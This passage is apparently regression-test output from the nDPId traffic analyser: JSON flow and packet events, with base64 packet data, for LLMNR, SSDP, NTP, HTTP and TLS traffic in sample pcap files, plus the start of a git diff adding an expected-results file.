+00434{"flow_id":142,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1388,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104430,"pkt_ts_usec":65680,"pkt_caplen":71,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":71,"pkt_l4_len":37,"pkt":"AQBeAAD8uKxv2MGbCABFAAA5S8AAAAERxx3AqAUy4AAA\/N83FOsAJVssAmsAAAABAAAAAAAAC2NoYXJtaW5nLVBDAAD\/AAE="} +00507{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1388,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":142,"flow_packet_id":1,"flow_first_seen":1470104430065,"flow_last_seen":0,"flow_tot_l4_data_len":37,"flow_min_l4_data_len":37,"flow_max_l4_data_len":37,"flow_avg_l4_data_len":37,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.50","dst_ip":"224.0.0.252","src_port":57143,"dst_port":5355,"l4_proto":"udp","ndpi": {"proto":"LLMNR","breed":"Acceptable","category":"Network"}} +00430{"flow_id":140,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1389,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104430,"pkt_ts_usec":65682,"pkt_caplen":68,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":68,"pkt_l4_len":34,"pkt":"AQBeAAD8GF4PUugBCABFAAA2MWMAAAER4XbAqAU54AAA\/PusFOsAIt9AFnIAAAABAAAAAAAACFVzaGVyLVBDAAD\/AAE="} +00580{"flow_id":2,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1390,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104430,"pkt_ts_usec":168012,"pkt_caplen":175,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":175,"pkt_l4_len":141,"pkt":"AQBef\/\/6GF4PUugBCABFAAChMWQAAAER0gzAqAU57\/\/\/+toBB2wAjcGgTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDoyMzkuMjU1LjI1NS4yNTA6MTkwMA0KU1Q6dXJuOnNjaGVtYXMtdXBucC1vcmc6ZGV2aWNlOkludGVybmV0R2F0ZXdheURldmljZToxDQpNYW46InNzZHA6ZGlzY292ZXIiDQpNWDozDQoNCg=="} +00579{"flow_id":7,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1393,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104430,"pkt_ts_usec":272734,"pkt_caplen":175,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":175,"pkt_l4_len":141,"pkt":"AQBef\/\/6SNIkYwreCABFAAChfk0AAAERhTPAqAUp7\/\/\/+tgQB2wAjcOhTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDoyMzkuMjU1LjI1NS4yNTA6MTkwMA0KU1Q6dXJuOnNjaGVtYXMtdXBucC1vcmc6ZGV2aWNlOkludGVybmV0R2F0ZXdheURldmljZToxDQpNYW46InNzZHA6ZGlzY292ZXIiDQpNWDozDQoNCg=="} +00435{"flow_id":142,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1396,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104430,"pkt_ts_usec":476697,"pkt_caplen":71,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":71,"pkt_l4_len":37,"pkt":"AQBeAAD8uKxv2MGbCABFAAA5S8EAAAERxxzAqAUy4AAA\/N83FOsAJVssAmsAAAABAAAAAAAAC2NoYXJtaW5nLVBDAAD\/AAE="} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1398,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":143,"flow_packet_id":1,"flow_first_seen":1470104430884,"flow_last_seen":0,"flow_tot_l4_data_len":37,"flow_min_l4_data_len":37,"flow_max_l4_data_len":37,"flow_avg_l4_data_len":37,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::e034:7be:d8f9:6197","dst_ip":"ff02::1:3","src_port":49766,"dst_port":5355,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00463{"flow_id":143,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1398,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104430,"pkt_ts_usec":884669,"pkt_caplen":91,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":91,"pkt_l4_len":37,"pkt":"MzMAAQADuKxv2MGbht1gAAAAACURAf6AAAAAAAAA4DQHvtj5YZf\/AgAAAAAAAAAAAAAAAQADwmYU6wAlV+upSAAAAAEAAAAAAAALY2hhcm1pbmctUEMAAP8AAQ=="} +00517{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1398,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":143,"flow_packet_id":1,"flow_first_seen":1470104430884,"flow_last_seen":0,"flow_tot_l4_data_len":37,"flow_min_l4_data_len":37,"flow_max_l4_data_len":37,"flow_avg_l4_data_len":37,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::e034:7be:d8f9:6197","dst_ip":"ff02::1:3","src_port":49766,"dst_port":5355,"l4_proto":"udp","ndpi": {"proto":"LLMNR","breed":"Acceptable","category":"Network"}} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1399,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":144,"flow_packet_id":1,"flow_first_seen":1470104430884,"flow_last_seen":0,"flow_tot_l4_data_len":37,"flow_min_l4_data_len":37,"flow_max_l4_data_len":37,"flow_avg_l4_data_len":37,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.50","dst_ip":"224.0.0.252","src_port":49766,"dst_port":5355,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00435{"flow_id":144,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1399,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104430,"pkt_ts_usec":884671,"pkt_caplen":71,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":71,"pkt_l4_len":37,"pkt":"AQBeAAD8uKxv2MGbCABFAAA5S8UAAAERxxjAqAUy4AAA\/MJmFOsAJdEfqUgAAAABAAAAAAAAC2NoYXJtaW5nLVBDAAD\/AAE="} +00507{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1399,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":144,"flow_packet_id":1,"flow_first_seen":1470104430884,"flow_last_seen":0,"flow_tot_l4_data_len":37,"flow_min_l4_data_len":37,"flow_max_l4_data_len":37,"flow_avg_l4_data_len":37,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.50","dst_ip":"224.0.0.252","src_port":49766,"dst_port":5355,"l4_proto":"udp","ndpi": {"proto":"LLMNR","breed":"Acceptable","category":"Network"}} +00463{"flow_id":143,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1403,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104431,"pkt_ts_usec":294729,"pkt_caplen":91,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":91,"pkt_l4_len":37,"pkt":"MzMAAQADuKxv2MGbht1gAAAAACURAf6AAAAAAAAA4DQHvtj5YZf\/AgAAAAAAAAAAAAAAAQADwmYU6wAlV+upSAAAAAEAAAAAAAALY2hhcm1pbmctUEMAAP8AAQ=="} +00580{"flow_id":57,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1412,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104432,"pkt_ts_usec":114660,"pkt_caplen":175,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":175,"pkt_l4_len":141,"pkt":"AQBef\/\/6uKxvwfbSCABFAAChJ3wAAAERfAzAqGUh7\/\/\/+ti9B2wAjWL8TS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDoyMzkuMjU1LjI1NS4yNTA6MTkwMA0KU1Q6dXJuOnNjaGVtYXMtdXBucC1vcmc6ZGV2aWNlOkludGVybmV0R2F0ZXdheURldmljZToxDQpNYW46InNzZHA6ZGlzY292ZXIiDQpNWDozDQoNCg=="} +00581{"flow_id":58,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1413,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104432,"pkt_ts_usec":114662,"pkt_caplen":175,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":175,"pkt_l4_len":141,"pkt":"AQBef\/\/6cPGh+Cr9CABFAAChEcYAAAER8drAqAUJ7\/\/\/+ti8B2wAjcMVTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDoyMzkuMjU1LjI1NS4yNTA6MTkwMA0KU1Q6dXJuOnNjaGVtYXMtdXBucC1vcmc6ZGV2aWNlOkludGVybmV0R2F0ZXdheURldmljZToxDQpNYW46InNzZHA6ZGlzY292ZXIiDQpNWDozDQoNCg=="} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1416,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":145,"flow_packet_id":1,"flow_first_seen":1470104432318,"flow_last_seen":0,"flow_tot_l4_data_len":34,"flow_min_l4_data_len":34,"flow_max_l4_data_len":34,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.44","dst_ip":"224.0.0.252","src_port":59062,"dst_port":5355,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00431{"flow_id":145,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1416,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104432,"pkt_ts_usec":318351,"pkt_caplen":68,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":68,"pkt_l4_len":34,"pkt":"AQBeAAD8SNIkYzEACABFAAA2OyoAAAER17zAqAUs4AAA\/Oa2FOsAIkMsz20AAAABAAAAAAAACGphc29uLVBDAAD\/AAE="} +00507{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1416,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":145,"flow_packet_id":1,"flow_first_seen":1470104432318,"flow_last_seen":0,"flow_tot_l4_data_len":34,"flow_min_l4_data_len":34,"flow_max_l4_data_len":34,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.44","dst_ip":"224.0.0.252","src_port":59062,"dst_port":5355,"l4_proto":"udp","ndpi": {"proto":"LLMNR","breed":"Acceptable","category":"Network"}} +00580{"flow_id":3,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1419,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104432,"pkt_ts_usec":419532,"pkt_caplen":175,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":175,"pkt_l4_len":141,"pkt":"AQBef\/\/6SNIkYzEACABFAAChOysAAAERyFLAqAUs7\/\/\/+si9B2wAjdLxTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDoyMzkuMjU1LjI1NS4yNTA6MTkwMA0KU1Q6dXJuOnNjaGVtYXMtdXBucC1vcmc6ZGV2aWNlOkludGVybmV0R2F0ZXdheURldmljZToxDQpNYW46InNzZHA6ZGlzY292ZXIiDQpNWDozDQoNCg=="} +00485{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1420,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":146,"flow_packet_id":1,"flow_first_seen":1470104432630,"flow_last_seen":0,"flow_tot_l4_data_len":35,"flow_min_l4_data_len":35,"flow_max_l4_data_len":35,"flow_avg_l4_data_len":35,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::5d92:62a8:ebde:1319","dst_ip":"ff02::1:3","src_port":58468,"dst_port":5355,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00460{"flow_id":146,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1420,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104432,"pkt_ts_usec":630916,"pkt_caplen":89,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":89,"pkt_l4_len":35,"pkt":"MzMAAQADPKn0WgOEht1gAAAAACMRAf6AAAAAAAAAXZJiqOveExn\/AgAAAAAAAAAAAAAAAQAD5GQU6wAjSCvt1AAAAAEAAAAAAAAJV0FOR1MtTFRXAAD\/AAE="} +00518{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1420,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":146,"flow_packet_id":1,"flow_first_seen":1470104432630,"flow_last_seen":0,"flow_tot_l4_data_len":35,"flow_min_l4_data_len":35,"flow_max_l4_data_len":35,"flow_avg_l4_data_len":35,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::5d92:62a8:ebde:1319","dst_ip":"ff02::1:3","src_port":58468,"dst_port":5355,"l4_proto":"udp","ndpi": {"proto":"LLMNR","breed":"Acceptable","category":"Network"}} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1421,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":147,"flow_packet_id":1,"flow_first_seen":1470104432630,"flow_last_seen":0,"flow_tot_l4_data_len":35,"flow_min_l4_data_len":35,"flow_max_l4_data_len":35,"flow_avg_l4_data_len":35,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.3.236","dst_ip":"224.0.0.252","src_port":65496,"dst_port":5355,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00433{"flow_id":147,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1421,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104432,"pkt_ts_usec":630917,"pkt_caplen":69,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":69,"pkt_l4_len":35,"pkt":"AQBeAAD8PKn0WgOECABFAAA3IDQAAAER8\/HAqAPs4AAA\/P\/YFOsAI0Pg7dQAAAABAAAAAAAACVdBTkdTLUxUVwAA\/wAB"} +00508{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1421,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":147,"flow_packet_id":1,"flow_first_seen":1470104432630,"flow_last_seen":0,"flow_tot_l4_data_len":35,"flow_min_l4_data_len":35,"flow_max_l4_data_len":35,"flow_avg_l4_data_len":35,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.3.236","dst_ip":"224.0.0.252","src_port":65496,"dst_port":5355,"l4_proto":"udp","ndpi": {"proto":"LLMNR","breed":"Acceptable","category":"Network"}} +00460{"flow_id":146,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1422,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104432,"pkt_ts_usec":728657,"pkt_caplen":89,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":89,"pkt_l4_len":35,"pkt":"MzMAAQADPKn0WgOEht1gAAAAACMRAf6AAAAAAAAAXZJiqOveExn\/AgAAAAAAAAAAAAAAAQAD5GQU6wAjSCvt1AAAAAEAAAAAAAAJV0FOR1MtTFRXAAD\/AAE="} +00433{"flow_id":147,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1423,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104432,"pkt_ts_usec":728660,"pkt_caplen":69,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":69,"pkt_l4_len":35,"pkt":"AQBeAAD8PKn0WgOECABFAAA3IDUAAAER8\/DAqAPs4AAA\/P\/YFOsAI0Pg7dQAAAABAAAAAAAACVdBTkdTLUxUVwAA\/wAB"} +00411{"flow_id":61,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1427,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104433,"pkt_ts_usec":29958,"pkt_caplen":55,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":55,"pkt_l4_len":21,"pkt":"TF4M6gNlABxCjnAxCABFAAApUr5AAIAG8sXAqHMIy0K2V8G8AbsrwEGmNGHnvFAQAQOsiQAAAA=="} +00411{"flow_id":61,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1428,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104433,"pkt_ts_usec":30090,"pkt_caplen":55,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":55,"pkt_l4_len":21,"pkt":"TF4M6gNlABxCjnAxCABFAAApUr5AAIAG8sXAqHMIy0K2V8G8AbsrwEGmNGHnvFAQAQOsiQAAAA=="} +00582{"flow_id":6,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1429,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104433,"pkt_ts_usec":33498,"pkt_caplen":179,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":179,"pkt_l4_len":145,"pkt":"AQBef\/\/6uKxv2MGbCABFAAClQR0AAAQRv1bAqAUy7\/\/\/+vyiB2wAkVLKTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDogMjM5LjI1NS4yNTUuMjUwOjE5MDANClNUOiB1cm46c2NoZW1hcy11cG5wLW9yZzpkZXZpY2U6SW50ZXJuZXRHYXRld2F5RGV2aWNlOjENCk1hbjogInNzZHA6ZGlzY292ZXIiDQpNWDogMw0KDQo="} +00425{"flow_id":61,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1430,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104433,"pkt_ts_usec":40844,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABxCjnAxTF4M6gNlCABFAAA0yhkAAD0G\/l\/LQrZXwKhzCAG7wbw0Yee8K8BBp4AQAO2bugAAAQEFCivAQaYrwEGn"} +00579{"flow_id":7,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1432,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104433,"pkt_ts_usec":238541,"pkt_caplen":175,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":175,"pkt_l4_len":141,"pkt":"AQBef\/\/6SNIkYwreCABFAAChflAAAAERhTDAqAUp7\/\/\/+tgQB2wAjcOhTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDoyMzkuMjU1LjI1NS4yNTA6MTkwMA0KU1Q6dXJuOnNjaGVtYXMtdXBucC1vcmc6ZGV2aWNlOkludGVybmV0R2F0ZXdheURldmljZToxDQpNYW46InNzZHA6ZGlzY292ZXIiDQpNWDozDQoNCg=="} +00475{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1433,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":144,"flow_packet_id":1,"flow_first_seen":1470104430884,"flow_last_seen":0,"flow_tot_l4_data_len":37,"flow_min_l4_data_len":37,"flow_max_l4_data_len":37,"flow_avg_l4_data_len":37,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.50","dst_ip":"224.0.0.252","src_port":49766,"dst_port":5355,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00513{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1433,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":136,"flow_packet_id":1,"flow_first_seen":1470104425786,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.5.16","dst_ip":"68.233.253.133","src_port":53613,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00475{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1433,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":136,"flow_packet_id":1,"flow_first_seen":1470104425786,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.5.16","dst_ip":"68.233.253.133","src_port":53613,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00498{"flow_event_id":7,"flow_event_name":"not-detected","thread_id":0,"packet_id":1433,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":135,"flow_packet_id":1,"flow_first_seen":1470104425762,"flow_last_seen":0,"flow_tot_l4_data_len":325,"flow_min_l4_data_len":325,"flow_max_l4_data_len":325,"flow_avg_l4_data_len":325,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.10.7","dst_ip":"255.255.255.255","src_port":62976,"dst_port":62976,"l4_proto":"udp","ndpi": {"proto":"Unknown","breed":"Unrated"}} +00484{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1433,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":135,"flow_packet_id":1,"flow_first_seen":1470104425762,"flow_last_seen":0,"flow_tot_l4_data_len":325,"flow_min_l4_data_len":325,"flow_max_l4_data_len":325,"flow_avg_l4_data_len":325,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.10.7","dst_ip":"255.255.255.255","src_port":62976,"dst_port":62976,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00485{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1433,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":141,"flow_packet_id":1,"flow_first_seen":1470104430064,"flow_last_seen":0,"flow_tot_l4_data_len":37,"flow_min_l4_data_len":37,"flow_max_l4_data_len":37,"flow_avg_l4_data_len":37,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::e034:7be:d8f9:6197","dst_ip":"ff02::1:3","src_port":57143,"dst_port":5355,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00475{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1433,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":145,"flow_packet_id":1,"flow_first_seen":1470104432318,"flow_last_seen":0,"flow_tot_l4_data_len":34,"flow_min_l4_data_len":34,"flow_max_l4_data_len":34,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.44","dst_ip":"224.0.0.252","src_port":59062,"dst_port":5355,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00474{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1433,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":137,"flow_packet_id":1,"flow_first_seen":1470104426973,"flow_last_seen":0,"flow_tot_l4_data_len":56,"flow_min_l4_data_len":56,"flow_max_l4_data_len":56,"flow_avg_l4_data_len":56,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.16","dst_ip":"17.253.26.125","src_port":123,"dst_port":123,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00475{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1433,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":139,"flow_packet_id":1,"flow_first_seen":1470104427094,"flow_last_seen":0,"flow_tot_l4_data_len":34,"flow_min_l4_data_len":34,"flow_max_l4_data_len":34,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.41","dst_ip":"224.0.0.252","src_port":55593,"dst_port":5355,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1436,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":148,"flow_packet_id":1,"flow_first_seen":1470104433649,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.186","dst_ip":"255.255.255.255","src_port":32768,"dst_port":1947,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00462{"flow_id":148,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1436,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104433,"pkt_ts_usec":649184,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"\/\/\/\/\/\/\/\/AAK2Qbs6CABFAABEAABAAEARd0fAqAK6\/\/\/\/\/4AAB5sAMBr8aWNSVlNvVTlBQUJYWldKRFlXeHNBSFZ0Ukc5c2IzSlRhWFJCYldVQQ=="} diff --git a/test/results/443-chrome.pcap.out b/test/results/443-chrome.pcap.out new file mode 100644 index 000000000..a6dbb6542 --- /dev/null +++ b/test/results/443-chrome.pcap.out @@ -0,0 +1,2 @@ +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"443-chrome.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1581109434258,"flow_last_seen":0,"flow_tot_l4_data_len":1472,"flow_min_l4_data_len":1472,"flow_max_l4_data_len":1472,"flow_avg_l4_data_len":1472,"midstream":1,"l3_proto":"ip4","src_ip":"178.62.197.130","dst_ip":"192.168.1.13","src_port":443,"dst_port":53059,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +02382{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"443-chrome.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1581109434,"pkt_ts_usec":258190,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUL9xAADQG19GyPsWCwKgBDQG7z0OMwKr+Oj0RjoAQAfVXrQAAAQEICiUvy0seKwePAbBkhQkGDSwXAwMFJB7ULkZYT314CXk9r8PlYJygP344H6B+ItT1QydBOUTT\/6D31GPVzKtOQjSVxhbT8njy8fnLCF03csGz4\/Y1RkgUVmI84ERVBP7zbdzqFVMxHmkRU4146\/GYpGt09JudxRaBFBE6RH99GaIPOIBgIxL+lVzyEaqTle8b2ooKlmYXANwIghY6MzW7vfR0m2NAd4\/mImO8\/LyUCeGK0r\/puyNRW7lwQQMAmHKJdbXl9VyEWyHoVGg2V7UztPOOS9FaOf7PI0qXcHmQjpNhC3tUdKXBoA5lr9L4gV9TtzI0jsGqvB9N6GFz+qcMvQNu9oMflyIYBhNXeC+wMS3iHkbmb6YjZ1BITgZEep9Fizk45i3xCMymSmOsda0ujEX4jtgvxVvAdOobavQSODmvW7nF0r5t9e88tMuzTz7+vTqoOaJn4Q5qSGioRtcVHnLq2LNPOuGgbZaLvf8nOa3F\/fTzsfVgOnrof2PK7x6zJRR4iLtFUyiyV0abVTIHELfIYnSCf71pFYSlMWF1kbosbMAxw+8gDHb28maLs7wPXvpNMwUQmC5zWPLwG8e+Pf\/3nur0wrn5EOul2L1tr2PBCGM7nQJnzz+Ftab4qAnCKKMUrufRAVhXA6Ue6CMSRLYliOxzGRgmHVxorbbpx87m7XMCx1xGrv\/+sMpgjOYFPN80vjeb9Ar4xkocVQgWuuKpaWdNDznMzFzG0+H1ekKy8mE\/Y4uj8aty0rTxx\/RK0gYF2CUtsmGNskEzCWUbq5MAqcp05SHkAJHGGJeLVJYaWPvGXbFa5QHn9poomy6DBa+Zu\/J+olJwYCoT+frN77wk+XmgZEGX8LeovmjP4s1R+UbEFUsUMksh6m15XB\/oDSc43HBC0ZN2fBl+EVSpfPjbG\/eOyIfLCt5fbBfnhNgvommX5LE+2Hk1er+ly1V3Bk3SksoPHjYC3atFWwOW8i0ksy3cnSr3r7urFNldk3MU3+jnEXfTimw+aCW1vRMowhmfm8PlgjcufRfy+KbXvWvcglQ5SIZzkHbMTgRIVTH0rnzAvQa5V3qwPK10Uoz